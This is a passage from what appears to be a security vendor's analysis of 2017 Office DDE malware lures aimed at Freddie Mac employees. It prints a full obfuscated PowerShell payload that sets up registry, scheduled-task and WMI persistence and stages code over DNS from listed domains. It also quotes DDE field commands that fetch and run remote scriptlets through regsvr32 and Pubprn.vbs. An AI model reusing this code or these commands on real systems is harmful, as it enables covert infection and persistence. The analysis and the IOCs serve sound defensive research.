Z9FKtyyjMbbLzGZhKYavnSoGPSJtW8AozobYElheT0FJWX2naflaQLpm8Bj7o2BQSBeVyupEhWOed3x1rQlKYaVwJKoc6ioE3unDTih9sreol6v/PcXs2UJ/7BSlAwZho7ZYrEIq4C1oN1l2YvaM3OrSDUnwjxZGYh0TE1DGROnEksqv0MUSl/UxRJ5wrVFMivOirHUMRyM+r/V2WZE6/jxaVTnN1hL7bGVx3B4PYbwKNdMvfKpeM1k4eDhWTWTp05pFbOwvsdjxyLoEMm/Tkk6nxaHqyRdwBYmHuktbG1haxtb29jawdYOtnaxtYutPWztYWsfW/vYOsDWAbbeYesdtiinzJlYvMm5lHmTsznkTc7niDc5o2PeBE4zmeXK6q7UUZxF6DRek/FeKR4pS4lhOmrFVH3kuMHeTmhFNXPlvAf5wyNajTCYTuYzfG1Lvs1mwxVFTQ7eSQqTcE49eoKU0K+uY9FsqkUinJ4NtUi0whMY1SCFPVE5T1gnq1UAHhfmu9OYbTYgKErbGVEjJpT9G4m8TgiaKcb3n4t8NKXzqEqvnjoy3qlzNZDo+d9G5BrSYPIYIhrt65Cc3kHUuMBETM9mCYn4Oc7iUeOrl0jld3VwsiC0HUa78OxDO2ZzKyFn7Mj99Uu5qinLNSv64YlaY+Uk/aGlgmR1KSz02mEpIFII5vfymwWzNug5gbFmroXKyCMM8cMzDc2kSihdzzdhXhX29vf3twp7YtssM8QwCXk+sQIS29vd3ZaUIkt6riRP3J5HaQspbe3uzX0lAC+QEQa++LDtZuw0UQShef+YlTaIVt8NohV+g+hkKUaiToLxArhP3SB76WVPB68MNmi4l/gdryQ39zL5CU37Al9LAsKzkdHP868cjd6cj9X6VD82HKU9b094NG2m4XfeSevfRCedt+OddL6fhYUmGYLV6fWvb7Bt7nStb+KTK2tMKzaf+ptvSvYb7r75rlymnW9NvkLxQPYrbubfnvw2kv1jlVocSdvz0sQ3rHO9PfnVa3G6Wi3OV4uk89Uiqbpa6aurlf4KyTsoPZPH+G9L+gE/pehQ8UnFdXUVLFYU2hxa8VZA9iue7LW5K4ecfEZ+JrLkY+ZkfcLQrRiQPDvsUfvlXuQjkoVzrbc4rPqAZQfQZkSP8/SUWhUEaIefQ54iYIf8y5quPLekVkEEEXUItfDdr+97PuSTKO6/ATZEllmTLgAA');$ms=New-Object System.IO.MemoryStream;$ms.Write($data,0,$data.Length);$ms.Seek(0,0);$cs=New-Object System.IO.Compression.GZipStream($ms,[System.IO.Compression.CompressionMode]::Decompress);$sr=New-Object System.IO.StreamReader($cs);IEX $sr.readtoend();
'@
${_/====\___/=\/\__} = [System.Text.Encoding]::Unicode.GetBytes(${/=\___/\_/=\/=\/=})
${___/\/==\/=\/==\_} =[Convert]::ToBase64String(${_/====\___/=\/\__})
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE' -Value ${___/\/==\/=\/==\_} -force
${_/=\/==\/\/\/==\/} = @'
$b64=(Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').IE;$stCode=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($b64));[System.Threading.Mutex]$m;[bool]$mtmp=$false;$m=New-Object System.Threading.Mutex($true, [string]1823821749, [ref] $mtmp);if(!$mtmp){exit;}IEX $stCode;
'@
${/=\___/===\_/==\_} = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(${_/=\/==\/\/\/==\/}))
try{New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{ndr -Name HKU -PSProvider Registry -Root HKEY_USERS
New-ItemProperty -Path 'HKEY_USERS\.Default\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\VxD' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
try{ndr -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
New-ItemProperty -Path 'HKCR:\vbsfile\shell\open\command' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e ${/=\___/===\_/==\_}" -force
} catch{}
function Invoke-PrepareScheduledTask
{ ${_/===\_/\/\/=\__/} = 'IE'
${/=\/\_/=====\/\/\} = Get-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -ErrorAction SilentlyContinue
if (${/=\/\_/=====\/\/\} -ne $null)
{  Unregister-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -Confirm:$false
}
New-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE11' -Value 'IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\Control` Panel\Desktop).IE)))' -force
${__/\/\__/\_/\/\/\} = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ep bypass -noni -w hidden -C IEX((Get-ItemProperty -Path 'HKCU:\Control Panel\Desktop').IE11)"
${_/\___/\___/==\/=} = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:10:00
${__/=\____/=\/==\_} = New-ScheduledTaskSettingsSet -Compatibility Win8
${/=\______/=\/==\_} = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Highest
${_/\/\_/=\/\____/=} = New-ScheduledTask -Action ${__/\/\__/\_/\/\/\} -Principal ${/=\______/=\/==\_} -Trigger ${_/\___/\___/==\/=} -Settings ${__/=\____/=\/==\_} -Description "Run $(${_/===\_/\/\/=\__/}) at startup"
Register-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -InputObject ${_/\/\_/=\/\____/=}
${/=\/\_/=====\/\/\} = Get-ScheduledTask -TaskName ${_/===\_/\/\/=\__/} -ErrorAction SilentlyContinue
}
function Invoke-WMI-Pers
{ ${/=\_/==\/\__/=\_/} = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
${/=\/\/===\_/===\_} = $env:programdata + '\Windows'
${_/=====\___/\/==\} = 'kernel32.dll'
if (${/=\_/==\/\__/=\_/} -gt 2)
{  sc -Path ${/=\/\/===\_/===\_} -Value ${/=\___/\_/=\/=\/=} -Stream 'kernel32.dll'
}
${/=====\___/==\__/} = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())
if (${/=====\___/==\__/}.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
{  ${/=\/==\/==\_/\_/=} = 'kernel32_Filter';
  ${_/\/=\_/==\_/=\_/} = 'kernel32_Consumer';
  gwmi __eventFilter -namespace root\subscription | Remove-WmiObject
  gwmi CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
  gwmi __filtertoconsumerbinding -Namespace root\subscription | Remove-WmiObject
  ${/===\_/\/=\_/\/=\} = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = ${/=\/==\/==\_/\_/=}; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = "Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'"}
  if (${/=\_/==\/\__/=\_/} -gt 2)
  {${___/\/==\/=\/===\} = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX `$(Get-Content -Path ${/=\/\/===\_/===\_} -Stream ${_/=====\___/\/==\}|Out-String)"))
  Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = ${_/\/=\_/==\_/=\_/}; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e ${___/\/==\/=\/===\} "}
  }
}}
Invoke-WMI-Pers
Invoke-PrepareScheduledTask
IEX ${_/=\/==\/\/\/==\/}

The payload established persistence via multiple locations in the Windows Registry. Establishes persistence via WMI to execute during Windows Logon. There�s also a new payload to decode, same drill. Here�s what we get:

${/=\____/=\__/==\_} = 100
function Download-Big-TXT
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList, [Parameter(ValueFromPipeline=$True)]${_____/\/=\/\/\__/\});
${_/\/=\______/====} = '';
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
${/=\/==\/\_/\___/=} = 0;
${__/\__/===\____/\/} = "$(__/\___/=\__/===\/).${_____/\/=\/\/\__/\}.${/=\/==\/\_/\___/=}.${/=\_/\/=\/\__/=\_}";
${/=\_/=\_/=\___/\_} = ____/\_/\_/\/\_/\_ ${__/\__/===\____/\/};
if (${/=\_/=\_/=\___/\_} -eq 0) { return 0
}
while (${/=\_/=\_/=\___/\_} -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAuADAALgAwAC4AMAA='))))
{ Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBwADoAIAAkAHsALwA9AFwAXwAvAD0AXABfAC8APQBcAF8AXwBfAC8AXABfAH0A')));
${_/\/==\_/\_/==\__} = __/=====\/=\_/===\ ${/=\_/=\_/=\___/\_};
${__/==\/\___/===\/} = __/\/=\/=\/\_/\/\/ ${_/\/==\_/\_/==\__};
Write-Host ${__/==\/\___/===\/};
${___/===\_/=\/\/=\} = (__/=\__/\_/\/==\/= ${__/\__/===\____/\/}) -join '';
if (${___/===\_/=\/\/=\} -eq 0) {  return 0
}
${_/==\/\/\_/===\/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
${__/==\___/\/\/=\/} = (${_/==\/\/\_/===\/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${___/===\_/=\/\/=\})) | foreach{$_.ToString("X2") }) -join "";
${_/\/\/\_/==\_/=\/} = ____/==\/===\_/\/= ${__/==\___/\/\/=\/}.Substring(0, 8) | __/\/=\/=\/\_/\/\/; if([string]${__/==\/\___/===\/} -eq [string]${_/\/\/\_/==\_/=\/})
{ ${_/\/=\______/====} += ${___/===\_/=\/\/=\};
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
${/=\/==\/\_/\___/=}++;
}
${__/\__/===\____/\/} = "$(__/\___/=\__/===\/).${_____/\/=\/\/\__/\}.${/=\/==\/\_/\___/=}.${/=\_/\/=\/\__/=\_}";
${/=\_/=\_/=\___/\_} = ____/\_/\_/\/\_/\_ ${__/\__/===\____/\/};
if (${/=\_/=\_/=\___/\_} -eq 0) {  return 0
}}
return [string]${_/\/=\______/====};
}
function _/=\/\_/\__/\/\/\_
{param([array]$DomainList)
if($DomainList.count -eq 1)
{ return $DomainList;
}
return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)];
}
function __/\___/=\__/===\/()
{${/=\_/\/=\/====\/=} = gwmi Win32_BIOS | Select -ExpandProperty SerialNumber ;
${_/==\/\/\_/===\/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
${__/==\___/\/\/=\/} = (${_/==\/\/\_/===\/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${/=\_/\/=\/====\/=})) | %{$_.ToString("X2") }) -join "";
return ${__/==\___/\/\/=\/}.Substring(0, 10);
}
function _/==\/==\___/=\_/\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]${_/=\__/\_/=\/=\___});
if((-not $DomainList) -or ($DomainList.count -eq 0))
{ Throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvACAAZABvAG0AYQBpAG4AcwA=')));
}
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
try
{ return &${_/=\__/\_/=\/=\___} -Domain ${/=\_/\/=\/\__/=\_};
}
catch
{ Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQByAHIAbwByADoAIAAkAGUAcgByAG8AcgA=')));
return _/==\/==\___/=\_/\ ([array]($DomainList | ? {$_ -ne ${/=\_/\/=\/\__/=\_} })) ${_/=\__/\_/=\/=\___};
}}
function ____/\_/\_/\/\_/\_
{[CmdletBinding()] param([Parameter()]${__/\__/===\____/\/});
Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBEAE4AUwBdACAAKABBACkAIAA9AD0APgAgACQAewBfAF8ALwBcAF8AXwAvAD0APQA9AFwAXwBfAF8AXwAvAFwALwB9AA==')));
${_/=====\/\_/=\_/=} = nslookup -type=a ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwAvAFwAXwBfAC8APQA9AD0AXABfAF8AXwBfAC8AXAAvAH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')));
${____/\__/==\_/\__} = ${_____/=\___/\_/==}.Match(${_/=====\/\_/=\_/=});
${/==\/\/\_/\__/\__} = 0
while ((-not ${____/\__/==\_/\__}.Success) -and (${/=\____/=\__/==\_} -ne ${/==\/\/\_/\__/\__})){ sleep -s 5
${/==\/\/\_/\__/\__} = ${/==\/\/\_/\__/\__} + 1
${_/=====\/\_/=\_/=} = nslookup -type=a ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwAvAFwAXwBfAC8APQA9AD0AXABfAF8AXwBfAC8AXAAvAH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')));
${____/\__/==\_/\__} = ${_____/=\___/\_/==}.Match(${_/=====\/\_/=\_/=});
}
if (-not ${____/\__/==\_/\__}.Success) { return 0
}
return ${____/\__/==\_/\__}.Groups[3].Value;
}
function __/=\__/\_/\/==\/=
{[CmdletBinding()]param([Parameter()]${__/\__/===\____/\/});
Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBEAE4AUwBdACAAKABUAFgAVAApACAAPQA9AD4AIAAkAHsAXwBfAC8AXABfAF8ALwA9AD0APQBcAF8AXwBfAF8ALwBcAC8AfQA=')));
${_/=====\/\_/=\_/=} = nslookup -type=txt ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
${__/======\/===\__} = ${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=});
${/==\/\/\_/\__/\__} = 0
while ((${__/======\/===\__}.count -eq 0) -and (${/=\____/=\__/==\_} -ne ${/==\/\/\_/\__/\__})){ sleep -s 5
${/==\/\/\_/\__/\__} = ${/==\/\/\_/\__/\__} + 1
${_/=====\/\_/=\_/=} = nslookup -type=txt ${__/\__/===\____/\/} 2>&1;
${_____/=\___/\_/==} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
${__/======\/===\__} = ${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=});
}
if (${__/======\/===\__}.count -eq 0) { return 0
}
return (${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=}) | Select -ExpandProperty Value) -join '' -replace '"' -replace '`n' -replace ' ';
}
function ___/\___/==\__/=\/
{[CmdletBinding()]Param ([Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)][byte[]] $byteArray = $(Throw($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAA='))))))
Process
{ ${/===\___/\_/==\__} = New-Object System.IO.MemoryStream;
${/===\___/\_/==\__}.Write($byteArray, 0, $byteArray.Length);
$null = ${/===\___/\_/==\__}.Seek(0,0);
${__/\___/\_/==\__/} = New-Object System.IO.Compression.GZipStream(${/===\___/\_/==\__}, [System.IO.Compression.CompressionMode]::Decompress);
${_/\/=\_/\____/\/=} = New-Object System.IO.MemoryStream;
${/=\__/=\/\_/\____} = New-Object System.IO.StreamReader(${__/\___/\_/==\__/}, [system.Text.Encoding]::UTF8);
echo ${/=\__/=\/\_/\____}.readtoend();
}}
function _/=\/==\__/====\/\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/=\/===\_/=\_/==});
if (${__/=\/===\_/=\_/==} -eq 0) { return 0
}
${__/\_______/\/==\} = [System.Convert]::FromBase64String(${__/=\/===\_/=\_/==});
return ___/\___/==\__/=\/(${__/\_______/\/==\});
}
function Get-Stage-PS
{[CmdletBinding()]param([Parameter()]$DomainList);
return _/==\/==\___/=\_/\ $DomainList
{return __/=\__/\_/\/==\/= "$(__/\___/=\__/===\/).stage.${/=\_/\/=\/\__/=\_}" | _/=\/==\__/====\/\; };};
function __/=\/=\_/\/=\____
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList);
return Download-Big-TXT $DomainList $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAZwBlAA=='))) | _/=\/==\__/====\/\;
}
function ____/==\/===\_/\/=
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${______/====\/=\___});
${_/\___/\___/==\__} = @{ '0' = 0;
'1' = 1;
'2' = 2;
'3' = 3;
'4' = 4;
'5' = 5;
'6' = 6;
'7' = 7;
'8' = 8;
'9' = 9;
'A' = 10;
'B' = 11;
'C' = 12;
'D' = 13;
'E' = 14;
'F' = 15;
};
${___/===\/\______/} = "${______/====\/=\___}".Length;
${_/\_/\_/\_/\/\__/} = ${___/===\/\______/};
[uint64]${_______/=\_/====\} = 0;
while (${___/===\/\______/} -ne 0)
{ ${___/===\/\______/}--;
${__/\/\__/=\____/=} = ${_/\___/\___/==\__}[[string]${______/====\/=\___}[${___/===\/\______/}]];
${_/\__/=\__/=\/\/=} = _/==\/\_/\/==\/\_/ 16 (${_/\_/\_/\_/\/\__/} - ${___/===\/\______/} - 1);
${_______/=\_/====\} += [uint64]([uint64]${__/\/\__/=\____/=} * [uint64]${_/\__/=\__/=\/\/=});
}
return ${_______/=\_/====\};
}
function _/==\/\_/\/==\/\_/
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${_/=\__/\/=\/\/=\/=}, [Parameter(ValueFromPipeline=$True)]${__/\/===\/\/\/\_/=});
return [Math]::Pow(${_/=\__/\/=\/\/=\/=}, ${__/\/===\/\/\/\_/=});
}
function __/\/=\/=\/\_/\/\/
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${___/\_/\/\/\_/===\});
return [convert]::ToString(${___/\_/\/\/\_/===\},2);
}
function __/=====\/=\_/===\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/\_/\/\_/=\___/=});
${_/\/=\/===\_/===\} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwAvAFwAXwAvAFwALwBcAF8ALwA9AFwAXwBfAF8ALwA9AH0A'))).Split(".");
${_/\/\__/\/\_/\/\_} = [uint64]([uint64]${_/\/=\/===\_/===\}[0] * 16777216);
${/\____/\__/=\/===} = [uint64]([uint64]${_/\/=\/===\_/===\}[1] * 65536);
${/=\_/\/=\/\_/==\/} = [uint64]([uint64]${_/\/=\/===\_/===\}[2] * 256);
${_/\/==\/\/===\/=\} = ${_/\/=\/===\_/===\}[3];
${_/==\/\/\_/\/\___} = ${_/\/\__/\/\_/\/\_} + ${/\____/\__/=\/===} + ${/=\_/\/=\/\_/==\/} + ${_/\/==\/\/===\/=\};
return ${_/==\/\/\_/\/\___};
}
function Int-To-Ip
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]$uint);
${_/\/\__/\/\_/\/\_} = [uint64]([uint64]$uint / 16777216) % 256;
${/\____/\__/=\/===} = [uint64]([uint64]$uint / 65536) % 256;
${/=\_/\/=\/\_/==\/} = [uint64]([uint64]$uint / 256) % 256;
${_/\/==\/\/===\/=\} = [uint64]([uint64]$uint) % 256;
return [string]${_/\/\__/\/\_/\/\_} + '.' + [string]${/\____/\__/=\/===} + '.' + [string]${/=\_/\/=\/\_/==\/} + '.' + [string]${_/\/==\/\/===\/=\};
}
${/==\/\_/\/====\/\} = @($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgB3AGUAYgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADEALgBwAHIAZQBzAHMA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADEALgB3AGUAYgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADIALgBwAHIAZQBzAHMA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADMALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADMALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADQALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADQALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBiAGkAegA='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBvAG4AbABpAG4AZQA='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBiAHoA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBjAGwAaQBjAGsA'))));
try
{${_/\/=\______/====} = __/=\/=\_/\/=\____(${/==\/\_/\/====\/\}); iex ${_/\/=\______/====};
}
catch
{Write-Debug $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBNAGEAaQBuAF0AIABHAGUAbgBlAHIAYQBsACAAZgBhAGkAbAB1AHIAZQA=')));
Write-Host $Error[0];
}

You�ll notice a number of base64 encoded strings above. No doubt, this is another evasion tactic. If you dig into those, you�ll see they are all password protected via HTTP authentication. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what�s responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see www.InQuest.net or reach out to us directly.

IOCs

ns0[.]pw
ns0[.]site
ns0[.]space
ns0[.]website
ns1[.]press
ns1[.]website
ns2[.]press
ns3[.]site
ns3[.]space
ns4[.]site
ns4[.]space
ns5[.]biz
ns5[.]online
ns5[.]pw
ns0[.]bz
ns0[.]click

Freddie Mac Targeted Lure

In reviewing the results of out Microsoft Office DDE malware hunt, (Microsoft_Office_DDE_Command_Execution.rule) we came across an interesting sample targeted to Freddie Mac employees. This post dives into the dissection of this well put together sample. The targeted lure 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 (7/61 AV detection rate) masquerades itself as a Six Flags Fright Fest ticket giveaway specifically for Freddie Mac employees:Freddie Mac Lure

Let's dive into the payload, we'll use the 7z+sed technique outlined in our previous post.

$ 7z e -so 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 | sed 's/<[^>]*>//g'

1381125635000 DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe" "/c regsvr32 /u /n /s /i:\"h\"t\"t\"p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll" "For Security Reasons" Freddie mac Employee GiveawayName:Click or tap here to enter text.Phone:Click or tap here to enter text.Email:Click or tap here to enter text.center14605Freddie Mac has partnered with Six Flags America to offer Freddie Mac employees the opportunity to win FREE tickets to Six Flags America during Fright Fest! Please provide your information in the form below, save this document, and send to offers@sixflags-frightfest.com to enter for a chance to win.00Freddie Mac has partnered with Six Flags America to offer Freddie Mac employees the opportunity to win FREE tickets to Six Flags America during Fright Fest! Please provide your information in the form below, save this document, and send to offers@sixflags-frightfest.com to enter for a chance to win.center7967980

This payload uses the same trick as the SEC OMB lure to improve the chances of coercing targets to activate the DDE payload. Note the usage of quotes to mask the string "http", an evasion tactic. The domain is cleverly chosen, topical (Halloween), and was registered recently through Name Cheap on 10/12/2017:

https://whois.domaintools.com/sixflags-frightfest.com

Pulling down the contents of ticket-ids we get a large, nearly 500Kb payload. Here it is, trimmed for brevity:

View the trimmed payload (5 KB)

Notice the above payload begins by modifying the registry for additional privileges by altering the following key:

"HKEY_CURRENT_USER\Software\Microsoft\Office\" & objExcel.Version & "\Excel\Security\AccessVBOM"

This is done in order to pivot execution through Microsoft Excel. Once modified, it later restores the registry setting to the previous value. This technique is generally used to mask execution chains in an attempt to hide from endpoint security solutions. Here's a sample from May of this year that uses the same technique:

Next, it decodes another payload and then flips back the "AccessVBOM" setting back to the original value. Decode the next payload and you get another file, ~350Kb in size. Here it is, trimmed for brevity:

View the trimmed payload (6 KB)

The final dropped payload from the above trimmed content is a ~200Kb malicious DLL:

5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f (47/66 AV detection rate)

This final payload is widely detected. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see www.InQuest.net or reach out to us directly.

To follow along the highlights of the conversation on Twitter, see the following moment:

Microsoft Office DDE Macro-less Command Execution Vulnerability

Update 10/17/2017

We've updated our hunt rule (Microsoft_Office_DDE_Command_Execution.rule) to widen the net for catching samples as we've seen some interesting new techniques for obfuscation and pivoting:

Obfuscated XML: https://twitter.com/InQuest/status/920272076371456000
Pubprn.vbs pivot: https://twitter.com/InQuest/status/920321960235724802 / https://twitter.com/subTee/status/855867502089220096

The Pubprn.vbs technique was publicly discussed in April of 2017 and seen used here a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d (7/60 AV detection rate) in another lure targeting Freddie Mac which masquerades itself as a ticket raffle for a Guns and Roses concert:Freddie Mac Lure (Guns'n'Roses)

It's mildly interesting to note that the AV detections above were all for CVE-2016-7262. The carrier is an XLSX file and differs from the typical DDE sample we've been seeing:

$ cat a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d/xl/externalLinks/externalLink1.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<externalLink xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14" xmlns:x14="http://schemas.microsoft.com/office/spreadsheetml/2009/9/main"><ddeLink xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" ddeService="cmd" ddeTopic=" /C Cscript %WINDIR%\System32\Printing_Admin_Scripts\en-US\Pubprn.vbs localhost &quot;script:https://gunsandroses[.]live/ticket-id&quot;"><ddeItems><ddeItem name="A0" advise="1" /><ddeItem name="StdDocumentName" ole="1" advise="1" /></ddeItems></ddeLink></externalLink>

Notice that similar to the previous lure, the resource for the next stage payload is at /ticket-id. The domains are registered within a week of one another and both through namecheap.com:

